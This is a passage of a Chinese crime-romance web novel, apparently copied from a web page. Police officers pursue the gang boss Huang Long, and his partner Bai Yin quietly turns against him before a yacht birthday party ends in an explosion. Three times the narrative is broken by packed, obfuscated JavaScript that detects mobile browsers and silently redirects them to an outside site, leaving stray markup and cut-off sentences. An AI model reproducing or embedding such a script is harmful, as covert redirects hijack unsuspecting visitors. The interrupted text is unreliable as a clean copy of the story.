“你懂什么?”许晖都不想跟嘉明开口,但看他这么多年不知道收敛,不得不把话掰碎了跟他说,“郝队能当上队长,可不是凭借关系。” “那是凭借什么?”嘉明还真有点好奇,如果不是家里有后台,靠关系上位,就凭郝队那较真的倔样,他能当上一把手? “郝队事事亲力亲为,又不喜欢居功甚伟,能在这样的领导下面当差,是我们的福气,你以后不要再说郝队的坏话了,这次我是真的要惩罚你。”许晖说着,想到郝朔华每次办结疑案杂案重大刑事案,都要把功劳分给底下的警员,让手下多升职加薪,自己却几乎不沾功劳,想到这么多年的太平安康,以及他的副队长职位还是郝朔华争取来的呢,他就对嘉明不再忍耐。 当郝朔华气势汹汹地堵在门口,要问许晖的话,却听到许晖罚底下的小警察背诵纲领纪要,还要在大会面前检讨,他不知道许晖发什么颠,但他真要疯了。 “你为什么放跑黄龙?”郝朔华绕着许晖转圈,并把他要喝水的茶缸摁下,不让许晖逃避自己的视线,“你知不知道,董大厨死了!” “我知道,我还知道,董大厨是被黄龙找人害死的。”许晖平静地握着茶缸,平静地面对郝朔华,平静地问:“你还想问什么?” “你……”郝朔华瞪着许晖,一时间被气到说不出话。 “我还可以告诉你,你前脚查封鑫荣赌场,上头后脚就下达通知,不要阻碍正常商业的运行。”许晖道:“你是想跟整个刑警大队作对,还是坐下来,慢慢地听我分析。” 郝朔华气到深处,反倒平静无波了,他坐下来,等着许晖给他说出个子丑寅卯。 “黄龙的妹妹黄洁24岁了。”许晖给自己的大茶缸里扔进好多绿茶,被郝朔华另一只手捡起大半扔回去,他也不介意,将就着喝完这杯茶,“局里该准备礼物送给黄洁。” “你就跟我说这个?”郝朔华都怀疑,许晖是不是出一趟任务,被黄龙洗脑了,他还想着给黄洁送礼,好巴结黄龙吗?巴结洪局还不够,还巴结一个罪犯头目?他想涉黑? 郝朔华严重警告许晖,“我告诉你,穿上这身皮,你这辈子都是人民的好公仆,别想着走歪门邪路,不然我亲自逮捕你!” 许晖白了一眼郝朔华,心中那股郁闷也被郝队插科打诨给搅黄了,他认真道:“黄龙这次有备而来,我怀疑他会在黄洁的生日宴会上,做出什么事情。” “什么事情?”郝朔华一边问,一边低头思考。 会让黄龙做出的重大决定,除了黄洁,只有白愔,难道他要在两个女人中间,做出一个选择? 郝朔华隐隐闻到风声,却还不确切。 “这件事情我也不确定,但是我直觉,那天不会平静。”许晖说,“我去给黄洁送礼,你在警队待命,我们里外联手,一定打他们个措手不及。” “你得了吧。”郝朔华没好气地白一眼许晖,“让你去给黄洁送礼,你确定你不会被人家啃得连骨头都不剩?还是我去吧,我有经验,不会比你更差。” “你有什么经验?PC的经验?”许晖打趣一句,想着郝朔华这么一个大龄处男,让他去深入犯罪团伙大本营,那才是肉包子打狗,有去无回,“还是我去吧,我擅长跟这类人打交道。” “别贫,你也就长得磕碜一点,下辈子长我这么帅,你就可以出去当交际花了。”郝朔华抢着把这个任务认领下来,又让许晖别逼逼,赶紧制定行动计划,这才拿着许晖的出警记录,回办公室研究去了,“记得,把黄龙的分析报告单独交给我一份。” 许晖看着郝朔华莽莽撞撞的背影,吐出嘴里的茶叶,含着茶叶梗咀嚼。 黄龙回到金碧辉煌,这是件大事。 不论不靠谱的黄洁,还是日理万机的白愔,都要在这一天,抽出时间迎接黄龙。而黄龙回来的第一件事情,就是面对鑫荣赌场被警察查封,而他碰巧就赶上和刑侦大队的队长刚吃完饭,这不,气势汹汹的支队带人查封鑫荣赌场,大队的人下命令让开放鑫荣赌场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495475|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 支队和大队的较量,暂不做评论,但黄龙回到大本营,全家上下都很高兴啊。 “大哥!”黄洁扑进哥哥的怀里,亲昵地蹭了蹭,“怎么不通知人去机场接你,我也好给你一个惊喜!” “什么惊喜?”黄龙的手在妹妹后背轻拍,眼睛却注视白愔。白愔对他微笑,邀请他先进屋吃饭。 “我会开车啦!”黄洁高兴地说:“是白姐姐教会我的,她说我手感很好,本来就应该当女车手!” 黄洁很兴奋,可能与白愔相处的这几日,她彻底被白愔折服,想要当白愔的小弟。 “你可拉到吧,就你那东南西北都分不清的方向感,你跟我说,你要当女车手?”黄龙先嘲讽妹妹,然后放开气嘟嘟的黄洁,走到白愔身边说:“辛苦你了,我不在的日子,就靠你守家了。” 白愔轻笑:“没怎么辛苦,都是二小姐帮助我,我才能事半功倍。” 黄洁骄傲地撅起嘴:“看吧,是不是我帮着白姐姐管家,你才能在外面逍遥快活!”她可能觉得自己说漏嘴了,所以立马捂住口鼻。 白愔也不在意,和黄龙黄洁一起走进餐厅。 餐厅里面的大厨换下一批,新来的十分符合黄龙的口味,他一顿饭吃的心满意足,临到结束,才对黄洁说:“你的驾照拿到了,但是开车还是要请司机和保镖,不要一个人出去赛车。” 黄洁虽然不高兴,但是不敢忤逆哥哥,只能闷闷不乐地答应。 白愔检讨自己:“是我让小洁学开车,她很喜欢兜风,方向感也还行,只要身边跟着保镖,出门兜风没问题。” 黄洁亮晶晶地眼神注视白愔,恨不得冲着她摇尾巴。 黄龙失笑,只好揉着妹妹的头,暂且同意白愔的这个提议:“你要兜风可以,但保镖不能少,你知道我最忌讳什么。” 黄龙最忌讳底下的人不听话,以及受到背叛。 “我知道啦,我会听哥哥的话!”黄洁竖起手指保证,等到哥哥和白姐姐有事商量,她只能很有眼色的提前离席,给白姐姐和哥哥创造机会。 “金碧辉煌今年的进账很不错,你这一年辛苦了。”黄龙对白愔最常说的一句话就是,你辛苦了。从两人见面开始,似乎萦绕在两人之间的氛围,除了一个说辛苦了,另一个回答不辛苦,就再没有别的。 白愔不想再老调重弹,她举起酒杯,对黄龙说:“我们都取得很不错的成绩,不如干一杯?” 黄龙和她干杯,两人因为一杯酒,忍俊不禁,紧迫的氛围缓和不少。 “鑫荣赌场的事情,我知道有人泄密,这不怪你,你已经做得很好了,接下来你把重心收回来,给小洁办好24岁生日宴。”黄龙说着,看向白愔的表情,见她依旧眉眼含笑,似乎因为喝了酒,脸上带着酡红,比平日看着还要温柔惬意。 他不禁心动:“你也快27岁了,有没有什么想要的生日礼物,我送给你。” 白愔摇头:“我没有什么想要的生日礼物,你能回来,就是给我最大的生日礼物。” 这句话说到黄龙心坎上了,他绕过桌子,半俯下身子,捏着白愔的下巴,半吻不吻地想要吻下去。 “大哥!”黄洁撞开门,看到哥哥和白姐姐暧昧的姿势,她赶紧转过身去,捂住眼睛,“我没看到,我没看到,我没看到……”她踢踢踏踏地又跑远了。 黄龙因为黄洁的打断,酝酿的情绪消散,再也没有为之继续的勇气。 白愔揽住他的脖颈,将他的后脑按下来,在他的嘴唇上“啵”一声。 她眉开眼笑地吊在他的脖子上,似乎回到十几岁两人刚见面的样子,笑得没心没肺:“黄总,跟医学院的女学生是不是跟我在一起更快活?” 她也没等黄龙的回答,说完这句话,就起身整理裙子,身姿曼妙地离开了。 黄龙陷入白愔给他的迷梦,久久回不过神来。 10. 顾邵 “白姐姐居然有男宠?”黄洁得到这个消息的时候,天都塌了。 她也不知道,为什么这么重要的事情,底下的人不是去告诉哥哥,而是告诉她。 既然她知道了,那么她就要做出行动。 黄洁让人跟踪白愔,查出那个被藏起来的男宠的地址,当她带着人气势汹汹地找上门去的时候,白愔正从男宠的床上下来。 “什么事情?”白愔吸一口烟,烟圈吐在黄洁的脸上,熏得后者鼻涕眼泪横流,却舍不得移开视线。 白姐姐刚从床上下来的样子,真迷人啊,如果是从自己的床上下来,也能这么迷人吗? 黄洁幻想不已。 而被她忽略的第三者,那个男狐狸精,这时候却穿着浴袍出来,冷冷地看着她。 黄洁气炸了,她还没有对这个男小三做出什么事情,他居然有脸来见她,难道不知道,她是黄龙黄老板的亲妹妹吗? “不要脸的小三……” 黄洁刚骂出一句,就被白愔按住了嘴唇,“小洁,不要说脏话。” 白愔把身后的门关上,阻隔两人的视线,这才让黄洁坐下说话。 “你来做什么?”她给黄洁煮奶茶,知道黄洁最喜欢什么口味,她家里摆放的餐具,以及酒水饮料,都是对应黄龙黄洁两兄妹的喜好。 白愔很会照顾人,或者说,她对于想要建立联系的人,总是能呵护到骨子里。 “白姐姐,你和他分手吧。”黄洁也不是一个拖泥带水的人,坐到白愔的身边,抱着她的手臂撒娇:“他没有哥哥有钱,也没有哥哥有势,他还是一个小白脸,他不配白姐姐!” “可他长得帅啊!”白愔笑意盈盈,就算被黄洁抓奸,她也似乎有恃无恐,“他比你哥哥长得帅,是不是?” 黄洁说不出话,她甚至隐隐觉得,也许哥哥没有找男小三的麻烦,就是男小三比哥哥帅。 “可、可这不能……”黄洁说不出话。 要是让她做选择,她在不缺钱也不缺势的情况下,她也会选择长得帅气的年轻男人。 上次那个接近她的渣男,不就是因为长得帅,所以她才放任他的一些行为吗? 黄洁和白愔的想法,其实是一致的,所以她稍微换位思考,就能理解白姐姐的行为,甚至在一定程度上,她觉得,她能和白姐姐达成一致,是超越了哥哥。 “白姐姐,你跟哥哥,是不是……”黄洁憋了很久的话,想问很多年了,今天终于有机会问出来,“你们是不是各玩各的?” “你哥哥和我啊,不是那种关系。”白愔摸着黄洁的头,对她谆谆教诲:“你哥哥更崇尚权利地位和金钱,他在你爸爸走后,要肩负起抚养你的责任,还要在金碧辉煌这座浑水下继续斗争,他几乎没有时间思考自己的事情,又怎么会把我放在眼中。” 白愔还记得刚遇到黄龙的时候,他像一条被抛弃的野狗,被人逼着让位,要不是她找上他,想要合作,他也不能在金碧辉煌这座吃人的骷髅里,得到重新翻身的机会。 可也是从最初并肩走过来,她知道他的野心,他也知道她的底线。 “我们是合作伙伴,也是搭档,更是朋友,但我们不是情人。”白愔这样对黄洁说:“我们可以很好的并肩作战,但我们不能同享富贵,因为我们的理念是背道而驰的。” 白洁听不懂,但她喜欢现在对她认真说话,并且只注视她一个人的白姐姐。 白愔对黄洁说了很多这些年的事情,直到黄洁昏昏欲睡,她才让司机和保镖把黄洁送回去,并告诉黄总,以后她不会来这边了。 屋里安静坐着的青年,直到白愔重新打开门进来,才站起身:“还是吃鸡蛋面吗?稍等,我很快就做好了。” “不用了。”白愔疲惫地躺在沙发上,半闭着眼睛,揉按着额头。 青年走过去,代替她的双手,熟练地给她做头部按摩。 白愔问:“小顾,你来我这边多少年了?” 青年微抿双唇:“五年。” “啊,这么久了啊?”白愔都快记不得了,最初见到顾邵是什么情景。好像是顾邵和一批警察伪装成牛郎,来金碧辉煌做线人,她一眼就识破了他们的身份,并问顾邵,要不要跟在她的身边,顾邵一待,就是五年。 “这五年,我应该没有亏待过你吧?”白愔喃喃自语,并回忆这几年对顾邵做过的事情。除了上床之外,两人的联系并不多,只是在顾邵家里困难,母亲生病,学校遇到麻烦的事情,她出面过几次,其他两人就再也没有交集了。 白愔觉得,若是放在一般人身上,两人这种关系五年,不结婚是很难说得过去的,可他们都不是一般人啊。 “顾邵,你……”白愔刚启唇,原本站在身后的青年就绕过身来,从上往下亲吻她。 两人接了一个长达十秒的热吻,直到白愔气喘吁吁,顺不过气,顾邵才放开她,抚摸她的脸颊。 白愔把没说完的话说完:“你以后不要来了。” “好。”青年将脑袋搁在她的肩上,全身心地拥抱她。 “我这里还有一笔钱,虽然不多,但是你以后不管是置业还是做什么,都是足够小半辈子了。”白愔把早已准备好的银行卡递给顾邵,还对他笑了一下:“以后你要找个普通人,好好结婚生孩子,过平安幸福的生活。” “好。”顾邵依旧没有反驳,轻吻着她的嘴角。 “我名下的房产,你是不能动的,但是一些不动产,比如古玩字画什么的,应该还是能卖一些钱。”白愔起身,收拾家里的值钱物,顾邵跟在她身后,听着她的絮絮叨叨。 最后来到花瓶前面,这瓶干花已经摆放五年,两人都没有移动过,白愔对着花瓶露出意味深长的笑容:“以后家里的这瓶花,你带走也可以,丢弃也可以,全凭你处置。” “好。”顾邵想要抱抱她,却被白愔拒绝了。 “你走吧,我想一个人待一会儿。”白愔背对着大门,并不看顾邵离去时的神态。 直到关门声传来,她走到卧室的一幅画前,把监听器关了,这才收拾东西,也离开这座居住五年的房子。 白愔回到金碧辉煌,受到全体员工的祝福。 “恭喜白总,喜结连理!” “恭喜白总,和黄总修成正果!” “恭喜白小姐,事业高升,婚姻幸福!” 所有人都在恭喜她,只有白愔知道,她和黄龙根本没有什么事情。 黄龙见到白愔的时候,也恭喜她:“恭喜大老板,以后就是金碧辉煌真正的老板了!” 白愔莫名其妙,但看黄龙不是开玩笑,她还是慎重地提出:“金碧辉煌是老黄总的心血,不可以轻易转给别人。” “你不是别人。”黄总揽住白愔的腰,弯身低语:“等我们结了婚,生个小孩,以后金碧辉煌就是他的产业。” 白愔的警戒心在加大。 她不懂黄龙在玩什么游戏,但她不想和黄龙一条道走到黑,更不想和他绑定在金碧辉煌的烂坑里。 “等黄洁过完生日,我们一起出国旅游吧。”白愔转移话题:“马尔代夫就不错,我们可以去那里过中秋。” “好啊。”黄龙一口同意:“我正有此意。我会在马尔代夫向你求婚。” 两人甜蜜对视,仿佛是一对热恋中的情侣,而不是彼此防备的对手。 白愔被黄龙撤职,目前只负责黄洁的生日宴会筹备,她也不摆烂,每日把大大小小的宾客都罗列出来,拿到黄洁面前,让她筛选自己喜欢的客人。 黄龙见未婚妻和妹妹关系亲密,觉得家庭幸福,和睦安康,是再美好不过的事情。 白愔在邀请一位嘉宾的时候,和黄洁产生分歧,两人拿到黄龙面前,黄龙看着刑警支队四个大字,根本没有异色,而是在警察的后面,添加上一长串陌生的姓名。 “我也有很多朋友要邀请,趁着这次机会,大家一起来聚会!”黄龙笑着说:“很久没有和老朋友们聊天了,我可想念他们得紧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503524|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白愔看着北城上过新闻联播的一些客人,她握紧手里的名单,没有对黄龙表现出一丝的异常。 “白愔要订婚了。”许晖告诉郝朔华,也是从金碧辉煌送来的请帖上面,他看出蛛丝马迹。 郝朔华怔忪。 也许他没有想过,白愔还要结婚。 就像他没有想过,白愔和楚瞳能天各一方。 他心里不知是何滋味,去楼道抽完十根烟,继续办案,就像这件事情没有发生过。 可在某天傍晚下班之后,他开车一百公里,去邻市给白愔选购一款手工定制的白雾松针。 这款松针呈云雾状,两头宽中间细,可以存放东西,他把调查黄龙的报告写进纸条,藏进白雾松针。 “郝队大驾光临,有失远迎。”白愔没想到,郝朔华能亲自上门送礼,她在金碧辉煌的办公室招待郝朔华,看着身穿便服的郝队长走进金碧辉煌,仿佛这里就是餐馆,而不是从事什么非法交易的场所。 她把心里不靠谱的想法移除,招呼郝朔华坐下:“来就来了,不用带礼。” 郝朔华把礼物递给白愔。 她看着面前古朴幽香的木盒,打开之后,里面躺着一枚白雾松针,她将松针别在自己的胸口,十分衬托自己的气质,笑意放大,“我很喜欢,谢谢郝队。” “不用客气。”郝朔华打量白愔的办公室,这是他第一次踏进金碧辉煌。 以前很多次路过,他都会停下来,远远地观望,但从不走进来。本以为,这辈子都不会染指这种地方,哪知道他进来之后,发现金碧辉煌也没有外界传闻的那么妖魔化,而是正经的一个高端会员制场所。 “郝队很好奇?”白愔见郝朔华四处观看金碧辉煌,索性起身,带着他参观一遍,“金碧辉煌主要的营业范围是承办峰会和商务,高端一点的性质,还有健身、娱乐和瑜伽,我们这里不仅有大腕高官,还有各位富太太和名流千金,在北城可以说是第一娱乐天堂也不为过。” 郝朔华点头,对白愔竖起大拇指:“厉害!” 白愔莞尔一笑,她拂过耳边的碎发,看着陌生的服务员在会所内穿梭,只是眼神闪烁一下,就收回目光。 “如果郝队有空的话,可以留在金碧辉煌吃饭。”白愔邀请郝朔华,见他看过来,立即申明:“绝对没有什么花样,你放心吃饭就行。” “我还是不了,队里有任务。”郝朔华不是怕白愔陷害他,而是他已经记住金碧辉煌的构造,以后他再来就熟门熟路了。 白愔把郝朔华亲自送出门,门口的侍应生不懂事,见到白愔和郝朔华站在一起,还以为又是新来的小白脸,眼神没忍住露出鄙夷的色彩。 郝朔华摸鼻子,他还真没想到,有一天会被人当成小白脸。 就看他的古铜色肌肤,也不可能吃软饭吧? 郝朔华挥挥手,对站在身后的白愔比出一个只有两人知道的手势。 白愔回到办公室,黄龙从里间的休息室出来,看着桌面的白雾松针:“你很喜欢这个礼物?” 白愔慎重地把松针放开,将盒子丢进休息室的保险柜:“不过是一个小饰品,再金贵能比钻石金贵?” 黄龙已经预定订婚戒指,十克拉的钻戒闪闪发亮,就放在同一个保险柜的最外层,一抬眼就能看到。 黄龙看着白愔区别对待他和郝朔华的礼物,心中舒服,对郝朔华上门的事情也就不计较了,“他也就是一个熬资历的小警察,就算是郝局长对他百般铺路,他的性格也走不远。” “我知道。”白愔搂抱黄龙的脖子,在他唇上啵一口:“你快去陪小洁吃饭吧,她找你都快找疯了!” 黄龙宠溺地刮一下白愔的鼻子,在她温婉的笑容中,吹着口哨离开了。 白愔坐在休息室的监控器面前,黄龙刚才就是坐在这里,看着她和郝朔华交谈。她把白雾松针里面取出来的一张小纸条展开,看到上面有一串代码。 白愔破解之后,看着呈现在面前的信息,一阵心悸。 11. 许晖 原来,邱红依早就和黄龙勾搭上了,从白愔还没有来到黄龙身边,邱红依就通过父亲的关系,和黄龙有联系,到后来,两人慢慢接触,再加上钱权往来,邱红依渐渐成为黄龙在暗中牵线搭桥的老鸨。 她会给他介绍名牌大学的研究生,或者是上流社会的千金小姐,让她们去金碧辉煌消费。而一旦这些女孩走入金碧辉煌,轻则坠入地狱,重则需要家中父母重金赎人。 邱红依不仅仅是黄龙的床伴,更是他的生意军师,两人在如何笼络和套路名牌大学生的交易上,对女学生进行一套精神洗礼和物质诱惑,很快,承受不住现实压力的人,都会葬送在他们的PUA之下。 而邱红依仅靠这层关系,不但让父亲步步高升,还让家里的亲戚朋友都得到好处。她不是父亲交出去的好处,而是主动与恶魔为伍,给家族带来利益。 白愔要不是知道邱红依只是一个24岁的小女孩,她都要以为,这是什么魔鬼转世?同样24岁,黄洁一问三不知,而邱红依已经可以在高官名流中,占据一席之位。 她还查到,邱红依给黄龙打过三次胎,每次都是九死一生,而两人似乎不只是双线头的匹配关系,更是多线头,N线头混乱关系。黄龙不干净,邱红依也不单纯,他们互惠互利,早就融入在一起,不分彼此。 白愔见识过很多恶心的事情,可看到视频上显示的犯罪证据,她还是恶心得恨不得把三天吃下去的饭吐出来。 郝朔华就是为了恶心她吧? 因为她曾经恶心过他,所以他要报复回来? 依据她对他的了解,也许,他仅仅只是想要告诫她,黄龙不是一个好人,不要把自己的终生托付在这样的男人身上。 白愔看到最后,一个账册名录安静地躺在她的电脑里面,她看过账本,和金碧辉煌的出入不大,只是有一条,引起她的重视。 ——黄龙在暗中走私D品。 她把桌面的物品全部掀到地面,看着碎裂的瓷瓶,她捡起一块白瓷握在手心,直到血液顺着脉络流下来,她才仿佛喘过一口气,将代码和犯罪证据都销毁。 黄龙不是喜欢来阴阳两套吗? 他把鑫荣赌场设置成黄赌毒的中心,而把金碧辉煌剥离开来,一黑一白,也许他是为了照顾白愔,但更多的是,他在给自己留后路。 而他这次回来,那么多的动作,不仅对董大厨实施恐吓威胁,甚至让董大厨做伪证,爆出晚静才是幕后凶手,他想把邱红依救出来,还想把鑫荣赌场挽救回来,也不看看她是不是会坐以待毙! “疤脸。”白愔把疤脸大汉叫进来,吩咐一句:“你去一趟梧桐街,不要让人察觉。” 疤脸大汉点头离去,目光在她血流不止的掌心流连一会。 白愔取出医药箱,熟练地给自己包扎。而黄龙在陪完妹妹之后,回来看到白愔受伤,他立即训斥:“怎么这么不小心,你流血了,我会心疼的!” 白愔坐在沙发上,让黄龙给自己的手心吹气。 她指着一旁的白玫瑰,笑说:“我想给黄洁扎一支永生花,可动作不熟练,不小心被刺伤了。” 黄龙还以为她扎的是假花,拿过一旁的永生花查看,才发现是活的白玫瑰,上面还有白愔的血迹。他眉头紧皱:“以后不要自己亲自动手,下面那么多人,都是吃干饭的吗?” 白愔被教训了,也不生气,笑着哄黄龙:“我也不是年年如此,这不是黄洁24岁生日,是一个大生日,我想她开心一点。” 黄龙这才脸色转好,看着事事完美的白愔,也会因为不懂花艺受伤,他心中涌现一股暖流:“以后我们去国外了,你想种什么花都可以,再不让你委屈在这个大笼子里面。” 白愔伏在黄龙的胸口,听着他有力的心跳,目光却转移到账目上的现金流动。黄龙这段时间把金碧辉煌的产业都转向国外,资金也已经向海外转移,他的动向很明显,他想逃去国外。 可他如果仅仅是要走,不可能还做这么多布置,应该还有后手。 “祝贺黄洁小姐24岁生日快乐!” 黄洁的24岁生日宴会,在北海的游轮上面,盛大举行。 各种名流太太,富商小姐,都来庆祝黄洁年满24岁。 黄洁也很高兴,她拿着白姐姐送她的永生白玫瑰,嘟唇在玫瑰花冠上面亲吻一口,又朝着来宾和客人的方向抛去飞吻。 黄洁大声道:“我很开心,今天不仅有各位朋友陪我过生日,还有我的大哥……”她目光在黄龙身上停顿,笑意顽皮:“以及我的大嫂……”她和白愔对视,两人绽放笑容,“我的家人一起陪我庆祝成年!我很感谢24年平静无忧的日子,希望在接下来,我们还能一起走过无数个24年!” 宾客们鼓掌。 白愔转头寻找郝朔华的身影。 “你在找他吗?”许晖凑到白愔的身边,压低声音:“他今晚不来。” 白愔没有问为什么,而是向许晖借烟,“有烟吗?” 她今晚穿的修身晚礼服,没有把烟带在身上。 许晖把劣质烟拿出来,掏出一支,给白愔点燃。 白愔吞云吐雾,把烟圈吐在许晖的脸上,然后掐灭烟蒂,这么多年都是这个习惯,她抽烟只抽一口。 “如果郝队回来,请转告一句话。”白愔附耳在许晖耳边,轻轻说出一句话。 台上的黄龙轮到他发言了,他看到白愔亲密地和许副队站在一起,让一个侍应生过去。 “各位来宾,女士们先生们,很感谢莅临小妹的生日晚会!今天大家吃好玩好,不谈合作,只享快活,若是哪位大哥需要小弟奉茶,小弟也能纡尊降贵,博大伙儿一乐!请放开跳舞,把笑声留在今夜的北海上空!” 黄龙插科打诨,把宾客都逗得哈哈大笑,大家也不拘谨,都是跟黄龙做生意熟悉的人,除了几个高官放不开手脚,几乎所有人都放开纵乐,一时间,游轮上面衣香鬓影,灯红酒绿。 黄龙看到白愔跟随侍应生过来,连忙滑步上前,伸出一只手,彬彬有礼问:“全场最美丽的小姐,请问可以和我跳支舞吗?” 白愔看着黄龙笑,将手放在他的掌心:“何乐不为。” 两人跳完一支开场舞,宾客才寻找各自的舞伴,表演一场和乐融融。 黄龙凑在白愔的耳边,询问她:“你跟许副队有什么好聊的呢?” 白愔也不怯场,扒着他的肩膀,舞步流畅丝滑,弯腰旋转180度,“我们在讨论香烟的品质。” “香烟还分品质?”黄龙疑惑:“只要买贵的不就行了,这还分什么品质?” 白愔知道黄龙不懂,就像他不知道,她早期流浪的时候,别说是好烟,就算是别人丢弃的烟头,她都捡起来闻过。 她那时候就像一条丧家犬,因此在遇到黄龙的伊始,她以为她从他的身上看到过去的影子。 “你吸过吗啡吗?”白愔双手揽着黄龙的脖子,吊在他的胸前,语气亲昵:“是不是很让人上瘾?也很能致富?” 黄龙被旁边的女舞伴踩上一脚,他跳起来,一边蹦着往吧台走,一边朝白愔解释:“你不要生气,我只做那一单!只要把金三角的生意做完,我保证以后绝对不碰!” 他十年前也是这么说的,可账目流动做不得假,他在骗她。白愔看着黄龙,一直以为他们互相都不了解,可从现在,她还要给他加上一条罪名,演员。 他演了近十年,能一丝不苟兢兢业业,奥斯卡没有他的提名都说不过去。 “我没有生气,只是很抱歉。”白愔说道:“我们都辜负对对方的承诺。” “谁是黄龙?”外面闯进来几个穿制服的人,巡视大厅,发现站在一起的黄龙和白愔,很快走过来,“我们接到举报,金碧辉煌存在偷税漏税的嫌疑,请跟我们走一趟。” 黄龙诧异地看向白愔,再看向来势汹汹地检察官,他想说什么,又意识到这是妹妹的生日宴会,一切都要等待宴会结束才能说,“小白,你等我,我一定给你一个解释!” 白愔把哭泣不止的黄洁扶住,让黄龙配合检察官调查,如果确实存在偷税漏税的嫌疑,还是要早点把账平了,不然资产冻结,那就一分钱也拿不到。 “小洁,照顾好你嫂子!”黄龙让黄洁照顾白愔,又让人把今晚的宾客都送回去,他对来宾们道歉,承诺必以重金安抚,将所有人都感动的不行。 或许,黄龙是被冤枉的? 白愔看着黄龙演戏,配合他演出一副兄友妹恭,妻贤夫贵的场景,直到黄龙被带走,身边还萦绕着宾客为黄龙打抱不平的声音。 “白老板。”许晖走过来,“是你举报?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533269|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “许队别胡说。”白愔搀扶黄洁坐在沙发上,给小妹倒一杯水,“我只是一个闲人,怎么可能举报自家产业?” 黄洁喝着热水,听着白姐姐的解释,逐渐平复情绪。 对啊,举报偷税漏税来得太突然了,白姐姐当老板的时候还没人敢作乱,白姐姐刚卸职就被人骑到头上戏耍,想必这个人十分痛恨白姐姐吧? 黄洁再看现场的所有人,就变得每人都充满嫌疑。 “我先过去处理后续问题,许队自便。”白愔要安排人将游轮上的客人送回去,首先护送的就是高官和名流富豪,她现在还有很多事情需要处置,暂时管不到许晖身上。 许晖就坐在卡座上,和黄洁面面相觑。 黄洁首先发难:“许队,你和郝队是什么关系?” 许晖很意外,黄龙的这个傻白甜妹妹,居然会跟他说话。他也不是不能和小妹妹好好聊天的人,“我们是搭档。” “就像白姐姐和我哥哥这样吗?”黄洁喝完热水,拿起桌上的一瓶酒,咕噜咕噜喝完,她摇摇晃晃地站起身,走到许晖的身边,“许队,你也是想抓我哥哥的人?” 许晖不知该点头还是摇头。 这种问题,藏在心里就好,何必问出来。 黄洁跨坐在许晖身上,拍着他的脸,眼睛潮红:“你们警察是不是都很厉害,无论我们逃到哪里,你们都能将我们抓住?” 许晖握住黄洁的手,把两人的身体分开,“黄小姐,你喝醉了。” 黄洁不允许他逃避问题,倔强地想要从他嘴里听到答案:“回答我,是不是?” 许晖也有点恼火。 他又不是黄龙的手下,没必要哄着黄洁。再说,罪犯和警察,本来就是背道而驰的两条平行线,他们永远不可能有交集,除非是一死一伤。 “是。”他看着黄洁的眼睛,不允许逃避现实,“你已经24岁,你该知道,在你这个年纪,我们的很多警察都牺牲在第一线,他们甚至都没人记得名字,而你有那么多人给你过生日。” 许晖的眼睛也红了。 没有对比就没有伤害,一旦认清楚现实的本质,人很难不为自己心中的怨恨找寻发泄的渠道。 “那你抓我吧。”黄洁把双手举起来,本来是想让许晖拿手铐将她拷住,可不知怎么回事,就变成她双手环着他的脖子,脑袋一点一点地靠近,在他睁大的眼眸里,她吧唧一口吻上去。 “唔!”许晖人生第一次受到惊吓。 他甚至来不及推开黄洁,只能看着她伸出舌尖,在他嘴唇上舔一圈,还喃喃自语,“也不怎么样嘛……”为何白姐姐那么喜欢警察的味道? 她觉得亲警察一点都不舒服,他们的嘴唇都是干裂的,一点不柔软,而且也没有技巧,她跟啃木头没什么区别。 “小洁,你在干什么?” 白愔的声音忽然在背后响起,许晖和黄洁同时脊背发凉,噔的一声双双分开。 “白姐姐,我……”黄洁想要解释,她只是喝醉酒,想要报复警察,所以才会做出如此惊天地泣鬼神的事情。 “啪!” 白愔给了她脸颊一个耳光,振聋发聩。 还没离开的宾客,都看向这边,讶异白愔居然会殴打黄洁。 黄洁捂住脸颊,不敢置信:“白姐姐,你、你打我!” 白愔冷冷地凝视她:“现在清醒了吗?” 黄洁眼泪飚出来,捂着脸颊转身跑开了。 白愔冷视许晖:“许队,请你跟第一批客人离开,以后请不要接近黄洁。” 许晖也觉得自己无脸待下去,可刚想对白愔解释两句,她转身就走,压根不想听他狗嘴里吐不出象牙。 许晖站在运送客人返航的汽艇上,回头看着白愔:“白老板,你真的不跟我们走?” 白愔红裙大波浪卷发立在狂风骤起的海浪上,指尖不知道是夹着烟,还是夹着一根什么,“我还有事没有完成。” 许晖扒着船沿:“你跟我回去,我们一起想办法!” 白愔淡淡地笑了:“许队,你僭越了。” 许晖就那么怔愣地看着白愔,看着她的身影越来越遥远,被吞入巨浪黑天,直到耳边传来一声巨响,许晖看到巨大的游轮在自己眼前崩塌倾倒,他才惊醒,J520号游轮爆炸了! 12. 蒙齐 郝朔华泡在冰冷的海水里,目光如炬地盯着对面的港口。 